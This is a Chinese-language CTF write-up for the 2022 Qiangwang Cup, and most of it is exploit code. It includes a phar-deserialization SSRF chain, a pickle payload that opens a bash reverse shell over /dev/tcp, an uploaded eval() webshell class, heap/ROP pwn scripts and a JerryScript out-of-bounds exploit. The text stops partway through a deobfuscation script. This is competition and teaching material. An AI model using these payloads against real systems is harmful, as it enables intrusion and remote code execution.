<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    強網杯-WriteUp

    VSole2022-08-02 08:02:30

    Web

    babyweb

    websocket

    1. help: 幫助菜單 
    2. changepw: 修改密碼 示例: changepw 123456 
    3. bugreport: 向管理員報告漏洞頁面 示例: bugreport http://host:port/login
    

    在 VPS 上構造上面這樣的 1.html,然后讓管理來訪問,即bugreport http://vpsip/1.html

    然后使用 admin/123登錄管理員賬戶即可,登錄后存在購買頁面,經過測試,使用如下 payload 可以繞過檢查,再訪問主頁面即可獲得 flag

    easyweb

    文件讀取

    http://47.104.95.124:8080/showfile.php?f=/demo.png/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/var/www/html/showfile.php
    index.php
       <?php
        $upload = md5("2022qwb".$_SERVER['REMOTE_ADDR']);
        @mkdir($upload, 0333, true);
        if(isset($_POST['submit'])) {
            include 'upload.php';
        }
        ?>
    

    upload.php

    <?php
    error_reporting(0);
    require_once('class.php');
    if(isset($_SESSION)){
        if(isset($_GET['fname'])?!empty($_GET['fname']):FALSE){
            $_FILES["file"]["name"] = $_GET['fname'];
        }
        $upload = new Upload();
        $upload->upload();
    }else {
        die("<p class='tip'>guest can not upload file</p>");
    }
    ?>
    

    showfile.php

    <?php
    error_reporting(0);
    require_once('class.php');
    $filename = $_GET['f'];
    if(preg_match("/http|https|bzip2|gopher|dict|zlib|data|input|%00/i", $filename)){
        die("nop");
    }
    else{
        if(isset($_SESSION)){
            $show = new AdminShow($filename);
            $show->show();
        }else{
            if(preg_match('/guest|demo/i',$filename)) {
                $show = new GuestShow($filename);
                $show->show();
            }else{
                die("<p class='tip'>no permission, you can only see string 'demo' and 'guest'</p>");
            }
        }
    }
    ?>
    

    class.php

    <?php
    class Upload {
        public $file;
        public $filesize;
        public $date;
        public $tmp;
        function __construct(){
            $this->file = $_FILES["file"];
        }
        function do_upload() {
            $filename = session_id().explode(".",$this->file["name"])[0].".jpg";
            if(file_exists($filename)) {
                unlink($filename);
            }
            move_uploaded_file($this->file["tmp_name"],md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$filename);
            echo 'upload  '."./".md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$this->e($filename).' success!';
        }
        function e($str){
            return htmlspecialchars($str);
        }
        function upload() {
            if($this->check()) {
                $this->do_upload();
            }
        }
        function __toString(){
            return $this->file["name"];
        }
        function __get($value){
            $this->filesize->$value = $this->date;
            echo $this->tmp;
        }
        function check() {
            $allowed_types = array("jpg","png","jpeg");
            $temp = explode(".",$this->file["name"]);
            $extension = end($temp);
            if(in_array($extension,$allowed_types)) {
                return true;
            }
            else {
                echo 'Invalid file!';
                return false;
            }
        }
    }
    class GuestShow{
        public $file;
        public $contents;
        public function __construct($file)
        {
            $this->file=$file;
        }
        function __toString(){
            $str = $this->file->name;
            return "";
        }
        function __get($value){
            return $this->$value;
        }
        function show()
        {
            $this->contents = file_get_contents($this->file);
            $src = "data:jpg;base64,".base64_encode($this->contents);
            echo "<img src={$src} />";
        }
        function __destruct(){
            echo $this;
        }
    }
    class AdminShow{
        public $source;
        public $str;
        public $filter;
        public function __construct($file)
        {
            $this->source = $file;
            $this->schema = 'file:///var/www/html/';
        }
        public function __toString()
        {
            $content = $this->str[0]->source;
            $content = $this->str[1]->schema;
            return $content;
        }
        public function __get($value){
            $this->show();
            return $this->$value;
        }
        public function __set($key,$value){
            $this->$key = $value;
        }
        public function show(){
            if(preg_match('/usr|auto|log/i' , $this->source))
            {
                die("error");
            }
            $url = $this->schema . $this->source;
            $curl = curl_init();
            curl_setopt($curl, CURLOPT_URL, $url);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($curl, CURLOPT_HEADER, 1);
            $response = curl_exec($curl);
            curl_close($curl);
            $src = "data:jpg;base64,".base64_encode($response);
            echo "<img src={$src} />";
        }
        public function __wakeup()
        {
            if ($this->schema !== 'file:///var/www/html/') {
                $this->schema = 'file:///var/www/html/';
            }
            if ($this->source !== 'admin.png') {
                $this->source = 'admin.png';
            }
        }
    }
    

    題目提示內部系統,因此猜測最終需要調用 AdminShow 的 show 方法去做 ssrf。先讀了一下 /proc/net/arp,得到內網有兩 IP: 10.10.10.1010.10.10.101

    class.php中有一堆魔術方法,又存在文件上傳和file_get_contents,因此只需構造 phar 反序列化,上傳后觸發即可。構造代碼在最后貼出。

    文件上傳需要設置$_SESSION,這點可以通過設置PHP_SESSION_UPLOAD_PROGRESS搞定。

    在反序列化時 AdminShow 類的__wakeup函數會設置 source 和 schema,從而讓我們無法控制 ssrf 的地址,所以需要繞過__wakeup,利用CVE-2016-7124,改大個數。但是 phar 修改后上傳報錯。

    搜索發現這篇文章中類似的題目 http://www.yongsheng.site/2022/05/14/phar/即修改類個數后需要重新計算簽名

    直接復制文章腳本計算新簽名:

    from hashlib import sha1
    file = open("exp.jpg","rb").read()
    text = file[:-28]  #讀取開始到末尾除簽名外內容
    last = file[-8:]   #讀取最后8位的GBMB和簽名flag
    new_file = text+sha1(text).digest() + last  #生成新的文件內容,主要是此時Sha1正確了。
    open("exp2.jpg","wb").write(new_file)
    

    然后上傳,抓包加上 cookie 和 PHP_SESSION_UPLOAD_PROGRESS

    再訪問觸發 phar 反序列化,得到內容

    /showfile.php?f=phar://./3fddbdeeb265642d6506eb011d5f9dc6/sakai2.jpg/demo.txt 
    

    分別讀了一下, http://10.10.10.101/讀不到沒內容, http://10.10.10.10代碼如下:

    由于 curl 支持 file 協議,直接 ssrf 訪問http://10.10.10.10/?url=file:///flag即可獲得 flag

    因為過程過于繁瑣,寫了個腳本,exp.php 如下:

    <?php
    //exp.php
    class Upload {
        public $file;
        public $filesize;
        public $date;
        public $tmp;
        function __construct(){
            $this->file = $_FILES["file"];
        }
    }
    class GuestShow{
        public $file;
        public $contents;
        public function __construct($file)
        {
            $this->file=$file;
        }
    }
    class AdminShow{
        public $source;
        public $str;
        public $filter;
        public function __construct($file)
        {
            $this->source = $file;
        }
    }
    $a = new AdminShow('aa');
    $a->source='';
    $a->schema=$argv[1];    //設置ssrf地址
    $b = new GuestShow('aa');
    $b->file=$a;
    unlink('exp.jpg');
    $phar = new Phar('phar.phar'); 
    $phar -> startBuffering();
    $phar -> setStub('GIF89a'." __HALT_COMPILER();?>");   //設置stub,增加gif文件頭
    $phar ->addFromString('demo.txt','test');  //添加要壓縮的文件
    $phar -> setMetadata($b);  //將自定義meta-data存入manifest
    $phar -> stopBuffering();
    rename('phar.phar','exp.jpg');
    

    上傳腳本 exp.py如下:

    import requests
    import os
    from hashlib import sha1
    import re
    import base64
    # target= 'http://10.10.10.10/?url=http://10.10.10.101/'
    target = 'http://10.10.10.10/?url=file:///flag'
    os.system('php exp.php {}'.format(target))
    f1 = open('exp.jpg','rb').read()
    file = f1.replace(b'"AdminShow":4',b'"AdminShow":5')
    text = file[:-28]  # 讀取開始到末尾除簽名外內容
    last = file[-8:]  # 讀取最后8位的GBMB和簽名flag
    new_file = text + sha1(text).digest() + last  # 生成新的文件內容,主要是此時Sha1正確了。
    open('exp2.jpg', "wb").write(new_file)
    cookiename="sakai"
    url='http://47.104.95.124:8080/'
    headers={
        "Cookie":'PHPSESSID='+cookiename
    }
    payload=open('exp2.jpg',"rb").read()
    files={
        'file':("exp2.jpg",payload)
    }
    data={
        "PHP_SESSION_UPLOAD_PROGRESS":'xxx',
        'submit':'提交'
    }
    res=requests.post(url,files=files,data=data,headers=headers)
    filepath = re.findall(r'upload\s{2}(.*)\ssuccess!',res.text)[0]
    res = requests.get(url+'showfile.php?f=phar://'+filepath+'/demo.txt')
    tmp = re.findall(r'<img src=data:jpg;base64,(.*) /><img src=data:jpg;base64, />',res.text)[0]
    tmp = base64.b64decode(tmp)
    # print(tmp)
    with open('flag.html','wb') as f3:
        f3.write(tmp)
    print('done')
    

    crash

    題目在 balancer 路由存在一個 pickle 反序列化 rce,過濾了 R,找了一下參考 https://www.163.com/dy/article/G6J7KHJP0538S33I.html,用如下 payload 可以反彈 shell

    請求腳本:

    import requests
    import re
    import base64
    import pickle
    from flask import Flask, make_response,request, session
    import pickletools
    url='http://47.93.187.169:13528/'
    burp0_url=url+'login'
    burp0_cookies = {"userdata": "gAJjX19tYWluX18KVXNlcgpxACmBcQF9cQIoWAgAAAB1c2VybmFtZXEDWAUAAABzYWthaXEEWAUAAAB0b2tlbnEFigiStsURvzkoAXViLg==", "session": "eyJwYXNzd29yZCI6IjEyMyJ9.YuTtrQ.7cLupb8BOqZV4kOwBqdVhJkxYUQ"}
    burp0_headers = {"Cache-Control": "max-age=0", "DNT": "1", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,ru;q=0.6", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
    burp0_data = {"username": "sakai", "password": "123"}
    res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
    session = res.headers['Set-Cookie'].split(';')[3].split(',')[1].strip()
    realsession = session[8:]
    realuserdata=b'''(cos
    system
    S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
    o.'''
    print(base64.b64encode(realuserdata))
    realuserdata=base64.b64encode(realuserdata).decode()
    print(realuserdata)
    burp0_url = url+"balancer"
    burp0_cookies = {"userdata": realuserdata, "session": realsession}
    burp0_headers = {"Cache-Control": "max-age=0", "DNT": "1", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,ru;q=0.6", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
    res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
    print(res.text)
    

    由于題目說需要 504 頁面,也就是需要網頁超時,于是反彈 shell 后往服務器上傳了一個 python 文件,代碼如下:

    import base64
    from flask import Flask, make_response,request, session
    import time
    app = Flask(__name__,static_url_path='')
    app.secret_key='hello'
    @app.route('/',methods=['GET','POST'])
    def flag():
        time.sleep(1000)
        return 'success'
    if __name__ == '__main__':
        app.run(host='0.0.0.0', port=5000)
    

    然后跑起來

    最后直接訪問首頁,即可超時獲取 flag

    強網先鋒

    rcefile

    存在 www.zip 文件

    注意到 config.inc.php 中存在 spl_autoload_register函數,又存在文件上傳,于是可以上傳一個 xxx.inc文件,其中有一個同名 xxx 類,在 cookie 反序列化時即可實現類自動加載執行,文件名寫腳本上傳即可,腳本如下:

    import requests
    import time
    import hashlib
    name = hashlib.md5(str(int(time.time())).encode()).hexdigest()
    burp0_url = "http://eci-2ze69f1lybic2yim76dd.cloudeci1.ichunqiu.com/upload.php"
    burp0_cookies = { "userfile": "a%3A1%3A%7Bi%3A0%3Bs%3A36%3A%229b6d4595f0e44610087536aea53546ce.png%22%3B%7D"}
    burp0_headers = {"Cache-Control": "max-age=0", "Origin": "http://eci-2ze10x6989pgnwt57n0z.cloudeci1.ichunqiu.com", "Upgrade-Insecure-Requests": "1", "DNT": "1", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIA3mura5cNnbrw4S", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://eci-2ze10x6989pgnwt57n0z.cloudeci1.ichunqiu.com/index.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,ru;q=0.6", "Connection": "close"}
    burp0_data = "------WebKitFormBoundaryIA3mura5cNnbrw4S\r\nContent-Disposition: form-data; name=\"file\"; filename=\"sakai.inc\"\r\nContent-Type: image/png\r\n\r\n<?php \nclass "+name+"{\n    public function __wakeup(){\n        eval($_REQUEST['sakai']);\n    }\n}\r\n------WebKitFormBoundaryIA3mura5cNnbrw4S--\r\n"
    res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
    print(res.text)
    

    devnull

    ret 的時候 rdx 正好是 7,把 rax 控制一下觸發 mprotect,然后執行 shellcode

    # -*- coding: utf-8 -*-
    from pwn import *
    #p=process('./devnull')
    p=remote('123.56.105.22',13870)
    elf=ELF('./devnull')
    context(arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h'])
    #context.log_level='debug'
    def debug():
        gdb.attach(p)
        pause()
    def lg(name,val):
        log.success(name+' : '+hex(val))
    #debug()
    p.recvuntil('filename')
    payload=36*'a'+p64(0x3fe000)*4+p32(0x0000000000401354)#p32(0x4014D7)
    #debug()
    #0x0000000000401350 : mov rax, qword ptr [rbp - 0x18] ; leave ; ret
    p.send(payload)
    sleep(0.1)
    p.send(p64(0x3fe000+0x28)+p64(0x401350)+p64(0x3fe000)+'/bin/sh\x00'*2+p64(0xdeadbeef)+p64(0x4012d0)+p64(0)+p64(0x3fe000+0x48)+asm(shellcraft.execve(0x3fe000+0x18,0,0)))
    sleep(1)
    p.sendline('exec 1>&2')
    #debug()
    p.interactive()
    

    ASR

    通過 yafu 分解得到質因數,網上找了個類似的腳本直接跑

    from Crypto.Util.number import *
    import time
    from binascii import hexlify, unhexlify
    def all_printable(s):
        for i in s:
            if i in range(0x20, 0x7f):
                continue
            else:
                return False
        return True
    n = 8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001
    e = 3
    c = 945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149
    a1 = 225933944608558304529179430753170813347
    a2 = 260594583349478633632570848336184053653
    a3 = 218566259296037866647273372633238739089
    a4 = 223213222467584072959434495118689164399
    PR.<x> = PolynomialRing(Zmod(a1))
    f1 = x ^ e - c
    a1_roots = [int(i[0]) for i in f1.monic().roots()]
    PR.<x> = PolynomialRing(Zmod(a2))
    f1 = x ^ e - c
    a2_roots = [int(i[0]) for i in f1.monic().roots()]
    PR.<x> = PolynomialRing(Zmod(a3))
    f1 = x ^ e - c
    a3_roots = [int(i[0]) for i in f1.monic().roots()]
    PR.<x> = PolynomialRing(Zmod(a4))
    f1 = x ^ e - c
    a4_roots = [int(i[0]) for i in f1.monic().roots()]
    for aa1 in a1_roots:
        for aa2 in a2_roots:
            for aa3 in a3_roots:
                for aa4 in a4_roots:
                    
                    tmp_solve = long_to_bytes(CRT_list([aa1, aa2, aa3, aa4], [a1, a2, a3, a4]))
                    if b'flag' in tmp_solve:
                       print(tmp_solve)
                    
    print("Down!")
    

    polydiv

    from pwn import *
    from pwnlib.util.iters import bruteforce
    from parse import *
    import string
    from hashlib import sha256
    import time
    context.log_level="debug"
    p=remote('47.94.166.51',28033)
    def brute_force(c,s):
        return bruteforce(lambda x:sha256((x+c).encode("utf-8")).hexdigest()==s,string.ascii_letters+string.digits,length=4)
    #data=conn.recvline(keepends=False)
    data=str(p.recvline(),encoding='utf-8')
    p.recvuntil('XXXX:')
    s=parse("sha256(XXXX+{}) == {}\n",data)
    p.sendline(brute_force(s[int(0)],s[int(1)]))
    for i in range(40):
        rx=p.recvline()[7:-1]
        ax=p.recvline()[7:-1]
        cx=p.recvline()[7:-1]
        p.recvline()
        r=sage_eval(str(rx)[2:-1],locals={'x':x})
        c=sage_eval(str(cx)[2:-1],locals={'x':x})
        a=sage_eval(str(ax)[2:-1],locals={'x':x})
        bx=(r-c)/a
        print(bx)
        p.sendlineafter('> b(x) = ',str(bx))
    #     tmp=p.recvline()
        p.recvuntil('Success!\n')
    p.recvlines(10)
    p.recv(1024,timeout=1)
    

    Pwn

    houseofcat

    一次打 house of apple,一次打 house of kiwi 觸發 fsop

    from pwn import*
    #p=process('./house_of_cat')
    p=remote('123.56.45.155',18302)
    libc=ELF('./libc.so.6')
    context(arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h'])
    #context.log_level='debug'
    def debug():
        gdb.attach(p)
        pause()
    def lg(name,val):
        log.success(name+' : '+hex(val))
    def menu(idx):
        p.recvuntil('choice:\n')
        p.sendline(str(idx))
    def add(idx,size,con):
        p.recvuntil('mew mew mew~~~~~~\n')
        p.send('CAT | r00t QWXFQWB QWXF\xff\xff\xff\xff$')
        menu(1)
        p.recvuntil('idx:\n')
        p.sendline(str(idx))
        p.recvuntil('size:\n')
        p.sendline(str(size))
        p.recvuntil('content:\n')
        p.send(con)
    def delete(idx):
        p.recvuntil('mew mew mew~~~~~~\n')
        p.send('CAT | r00t QWXFQWB QWXF\xff\xff\xff\xff$')
        menu(2)
        p.recvuntil('idx:\n')
        p.sendline(str(idx))
    def show(idx):
        p.recvuntil('mew mew mew~~~~~~\n')
        p.send('CAT | r00t QWXFQWB QWXF\xff\xff\xff\xff$')
        menu(3)
        p.recvuntil('idx:\n')
        p.sendline(str(idx))
    def edit(idx, con):
        p.recvuntil('mew mew mew~~~~~~\n')
        p.send('CAT | r00t QWXFQWB QWXF\xff\xff\xff\xff$')
        menu(4)
        p.recvuntil('idx:\n')
        p.sendline(str(idx))
        p.recvuntil('content:\n')
        p.send(con)
     
    p.recvuntil('mew mew mew~~~~~~\n')
    p.send('LOGIN | r00t QWXFQWB QWXFadmin')
    add(0,0x428,'aaa')
    add(1,0x418,'aaa')
    add(2,0x418,'aaa')
    delete(0)
    add(3,0x438,'aaa')
    #debug()
    show(0)
    libc.address=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x21a0d0
    p.recv(10)
    heap_base=u64(p.recv(6).ljust(8,b'\x00'))-0x290
    lg('libc.address',libc.address)
    lg('heap_base',heap_base)
    #debug()
    rop_addr=heap_base+0x1790
    fake_io1=p64(0)*5
    fake_io1+=p64(libc.sym['setcontext']+61)
    fake_io1+=p64(0)*5
    fake_io1+=p64(rop_addr)
    fake_io1+=p64(2) + p64(0xffffffffffffffff)
    fake_io1+=p64(0) + p64(libc.address+0x21ba60)
    fake_io1+=p64(0xffffffffffffffff) + p64(0)
    fake_io1+=p64(heap_base+0x340)+p64(libc.address+0x00000000001675b0)
    fake_io1+=p64(0)*2
    fake_io1+=p64(1)
    fake_io1+=p64(0)*2
    fake_io1+=p64(libc.address+0x2160c0-0xc0-0x20)#io_wfile_jumps vtable
    fake_io1+=p64(0)
    fake_io1+=p64(libc.sym['setcontext']+61)
    fake_io1+=p64(0)*0x5
    fake_io1+=p64(libc.address+0x000000000007498c)
    fake_io1+=p64(0)*0xe
    fake_io1+=p64(heap_base+0x340)
    #debug()
    add(9,0x428,fake_io1)
    #debug()
    add(8,0x428,'a')
    add(7,0x438,'a')
    add(6,0x418,'a')
    delete(6)
    delete(7)
    delete(8)
    delete(9)
    add(0xa, 0x438,'a')
    delete(2)
    #debug()
    edit(0,p64(libc.address+0x21a0d0)*2+p64(heap_base+0x290)+p64(libc.sym['stderr']-0x20))
    #debug()
    ret=libc.address+0x00000000000f872e
    fake_io2=p64(0)+p64(rop_addr)
    fake_io2+=p64(1)+p64(0)
    fake_io2+=p64(libc.sym['setcontext']+61)
    fake_io2+=p64(0)*13
    fake_io2+=p64(heap_base+0xae0)
    fake_io2=fake_io2.ljust(0xa0,'\x00')
    fake_io2+=p64(heap_base+0xb00)+p64(ret)
    add(4,0x438,fake_io2)
    pop_rdi=libc.address+0x000000000002a3e5
    pop_rsi=libc.address+0x000000000002be51
    pop_rdx_r12=libc.address+0x000000000011f497
    pop_rax=libc.address+0x0000000000045eb0
    syscall=libc.address+0x0000000000091396
    #debug()
    rop='./flag\x00\x00'+p64(0)
    rop+=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(0)+p64(pop_rdx_r12)+p64(0)+p64(0)+p64(pop_rax)+p64(3)
    rop+=p64(syscall)
    rop+=p64(pop_rdi)+p64(heap_base+0xaf0)+p64(pop_rsi)+p64(0)+p64(pop_rdx_r12)+p64(0)+p64(0)+p64(pop_rax)+p64(2)
    rop+=p64(syscall)
    rop+=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(heap_base+0x1000)+p64(pop_rdx_r12)+p64(0x30)+p64(0)+p64(pop_rax)+p64(0)
    rop+=p64(syscall)
    rop+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heap_base+0x1000)+p64(pop_rdx_r12)+p64(0x30)+p64(0)+p64(pop_rax)+p64(1)
    rop+=p64(syscall)
    #debug()
    add(5,0x418,rop)
    edit(6,p64(0)+p64(0x133))
    #debug()
    p.recvuntil('mew mew mew~~~~~~\n')
    p.send('CAT | r00t QWXFQWB QWXF\xff\xff\xff\xff$')
    menu(1)
    p.recvuntil('idx:\n')
    p.sendline(str(0xf))
    p.recvuntil('size:\n')
    #debug()
    p.sendline(str(0x430))
    

    easychain1

    (最后十分鐘遠程靶機連不上導致沒有打通)

    通過 bindiff 找到漏洞位于ecma_builtin_array_prototype_object_pop

    當 array 對象進行 pop() 操作時,傳入ecma_delete_fast_array_properties為 len-2,導致在內部將 array.length 刷新為 len-2:

    uint32_t
    ecma_delete_fast_array_properties (ecma_object_t *object_p, /**< fast access mode array */
                                       uint32_t new_length) /**< new length of the fast access mode array */
    {
      ...
      ext_obj_p->u.array.length = new_length;
      ...
    }                             
    

    如果當前 array.length 為 1,在 array.pop() 執行完畢,array.length = -1,可以進行數組越界訪問。

    利用方法:在jerry_heap上偽造出一個 float 對象,使用 array 越界訪問,通過 float 對象可以讀取 jerry_heap 上的任意數據,這樣可以 leak 出 pie 地址。然后構造兩個存儲 ArrayBuffer 的 DataView 對象,利用 array 越界修改 DataView1 的 length

    然后通過 DataView1 修改 DataView2 的 buffer 指針進行任意讀寫,先通過 pie 計算 got 表地址 leak 出 libc 地址,再通過 environ 地址 leak stack 地址,最后在棧上返回地址布置 rop 鏈即可 getshell。

    EXP 如下:(比賽結束后,靶機恢復了- -,測試腳本與遠程交互時需要把 js 代碼的換行刪掉)

    from pwn import *
    context.log_level = 'debug'
    p = process("./pwn")
    #gdb.attach(p)
    p.sendafter('pwn> ','''function f64_to_hex(f64v) {
        var x = new Float64Array(1);
        var y = new Uint8Array(x.buffer);
        x[0] = f64v;
        var hex_res = "0x";
        for (var i = 7; i > -1; i--) {
            hex_res += y[i].toString(16).padStart(2, "0");
        }
        return hex_res;
    }
    var tmp = []
    for (var i=0;i<0x200;i++)
        tmp[i] = [0x1234];
    var a = [0x2333];
    var buffer = new ArrayBuffer(0x20)
    data=new DataView(buffer,0,0x20)
    var buffer2 = new ArrayBuffer(0x20)
    data2=new DataView(buffer2,0,0x20)
    var b = [0x6161,0x6262,0x6363,0x6464,a];
    r = new ArrayBuffer(0x20);
    var w = new Uint32Array(r);
    var magic = 0x62
    w[0] = 43<<3|2;
    a.pop();
    c = a[magic]
    var pie = parseInt(f64_to_hex(c))
    print(pie)
    a[0x35] = 0x100
    data.setUint32(0xc8,(pie+0x28641-0x10)&0xffffffff, true)
    data.setUint32(0xc8+4,pie/0x100000000, true)
    libc_base=data2.getUint32(0,true)+data2.getUint32(4,true)*0x100000000-0x61c90
    print(libc_base)
    data.setUint32(0xc4,0x3000, true)
    data.setUint32(0xc8,(libc_base+0x1ed3a0)&0xffffffff, true)
    data.setUint32(0xc8+4,(libc_base+0x1ed3a0)/0x100000000, true)
    stack=data2.getUint32(0x2260,true)+data2.getUint32(0x2260+4,true)*0x100000000
    print(stack)
    data.setUint32(0xc8,(stack-0x148)&0xffffffff, true)
    data.setUint32(0xc8+4,(stack-0x148)/0x100000000, true)
    data2.setUint32(0x30,(libc_base+0x23b6b)&0xffffffff, true)
    data2.setUint32(0x34,(libc_base+0x23b6b)/0x100000000, true)
    data2.setUint32(0x38,(libc_base+0x23b6a)&0xffffffff, true)
    data2.setUint32(0x3c,(libc_base+0x23b6a)/0x100000000, true)
    data2.setUint32(0x40,(libc_base+0x1b45bd)&0xffffffff, true)
    data2.setUint32(0x44,(libc_base+0x1b45bd)/0x100000000, true)
    data2.setUint32(0x48,(libc_base+0x52290)&0xffffffff, true)
    data2.setUint32(0x4c,(libc_base+0x52290)/0x100000000, true)''')
    p.interactive()
    

    yakagame

    漏洞點在于自己添加函數,然后把他加入 weaponlist 時,使用的 idx 索引和之前的 unisgned int8 不一樣,是 char 類型的,這導致超過 127 時,會變成負數

    修改數組前面區域的內容,修改 score 指針,讓他指向滿足條件的地址就行,需要爆破,然后將 cmd 里的內容變成 cat flag

    #include <stdio.h>
    void fight(int a){};
    void merge(int a,int b){};
    void destroy(int a){};
    void upgrade(int a){};
    void wuxiangdeyidao(){};
    void zhanjinniuza(){};
    void guobapenhuo(){};
    void tiandongwanxiang(){};
    void a0(int a);
    void a1(int a);
    void ……(由于篇幅省略)
    void a8(int a);
    void a9(int a);
    void b0(int a);
    void b1(int a);
    void ……(由于篇幅省略)
    void b8(int a);
    void b9(int a);
    void c0(int a);
    void c1(int a);
    void ……(由于篇幅省略)
    void c8(int a);
    void c9(int a);
    void d0(int a);
    void d1(int a);
    void ……(由于篇幅省略)
    void d8(int a);
    void d9(int a);
    ……………………
    void y0(int a);
    void y1(int a);
    void ……(由于篇幅省略)
    void y8(int a);
    void y9(int a);
    void z0(int a);
    void z1(int a);
    void z2(int a);
    void z3(int a);
    void z4(int a);
    void gamestart()
    {
        tiandongwanxiang();
        wuxiangdeyidao();
        guobapenhuo();
        wuxiangdeyidao();
        
        a0(0);
        a1(0);
        ……
        a8(0);
        a9(0);
        b0(0);
        b1(0);
        ……
        b8(0);
        b9(0);
        c0(0);
        c1(0);
        ……
        c8(0);
        c9(0);
        d0(0);
        d1(0);
        ……(由于篇幅省略qaq)
        x8(0);
        x9(0);
        y0(0);
        y1(0x59);
        y2(0);
        ……
        y8(0);
        y9(0);
        z0(0);
        z1(0);
        ……
        z8(0);
        z9(0);
        
        y1(0xab);
        fight(0);
    }
    

    Revers

    find_basic

    去混淆腳本

    from idc import *
    from capstone import *
    from keystone import *
    md = Cs(CS_ARCH_X86, CS_MODE_32)
    ks = Ks(KS_ARCH_X86, KS_MODE_32)
    new_code_ea = 0x96150
    new_code = b''
    def mydis(code, addr=0):
        for i in md.disasm(code, addr):
            return ('%s %s' %(i.mnemonic, i.op_str))
    def myasm(dis_txt, addr=0):
        encoding, count = ks.asm(dis_txt, addr=addr)
        return bytes(encoding)
    start_ea = 0x48F4
    end_ea = 0x61B6
    class Block:
        def __init__(self, start_ea, end_ea, imm, reg, call_target):
            self.start_ea = start_ea
            self.end_ea = end_ea
            self.imm = imm
            self.reg = reg
            self.call_target = call_target
    regnums = []
    def get_block(start_ea):
        global new_code, new_code_ea
        mnem_list = ['pushf', 'pusha', 'mov', 'call', 'pop']
        ea = start_ea
        i = 0
        while i < 5:
            mnem = idc.print_insn_mnem(ea)
            if mnem_list[i%5] != mnem:
                if i%5 == 0:
                    if ea == 0x4915:
                        dis = 'mov ebx, 0x491a'
                    else:
                        dis = mydis(idc.get_bytes(ea, idc.get_item_size(ea)), ea)
                    new_code += myasm(dis, new_code_ea + len(new_code))
                    #print('ea=%x, dis=%s' %(ea, dis))
                    ea += idc.get_item_size(ea)
                    start_ea = ea
                    continue
                #print('ea=%x, mnem=%s' %(ea, mnem))
                raise 0
            if mnem == 'mov':
                imm = idc.get_operand_value(ea, 1)
                # 17 -> cl, 18 -> dl, 19 -> bl
                reg = idc.get_operand_value(ea, 0) #reg_id
                '''
                if reg not in regnums:
                    print ('reg=%s, ea=%x' %(reg, ea))
                    regnums.append(reg)
                '''
            if mnem == 'call':
                call_target = idc.get_operand_value(ea, 0)
            i += 1
            ea += idc.get_item_size(ea)
        return Block(start_ea, ea, imm, reg, call_target)
    def get_real_code(block):
        global new_code, new_code_ea
        ea = block.call_target
        while True:
            mnem = idc.print_insn_mnem(ea)
            if mnem == 'cmp':
                reg = idc.get_operand_value(ea, 0)
                imm = idc.get_operand_value(ea, 1)
                if (reg == block.reg) & (imm ==  block.imm):
                    break
            ea += idc.get_item_size(ea)
        ea += idc.get_item_size(ea)
        mnem = idc.print_insn_mnem(ea)
        if mnem != 'jnz':
            assert 0
        ea += idc.get_item_size(ea)
        mnem = idc.print_insn_mnem(ea)
        if mnem != 'popa':
            assert 0
        ea += idc.get_item_size(ea)
        mnem = idc.print_insn_mnem(ea)
        if mnem != 'popf':
            assert 0
        if ea == 0x45CD:
            print ('ea=0x45ce: dis=retn')
            new_code += b'\xc3'
            return
        while True:
            ea += idc.get_item_size(ea)
            mnem = idc.print_insn_mnem(ea)
            if mnem == 'jmp':
                break
            dis = mydis(idc.get_bytes(ea, idc.get_item_size(ea)), ea)
            print ('block=%x, ea=%x, dis=%s' %(block.start_ea, ea, dis))
            new_code += myasm(dis, new_code_ea+len(new_code))
    funs = []
    ea = start_ea
    count = 0
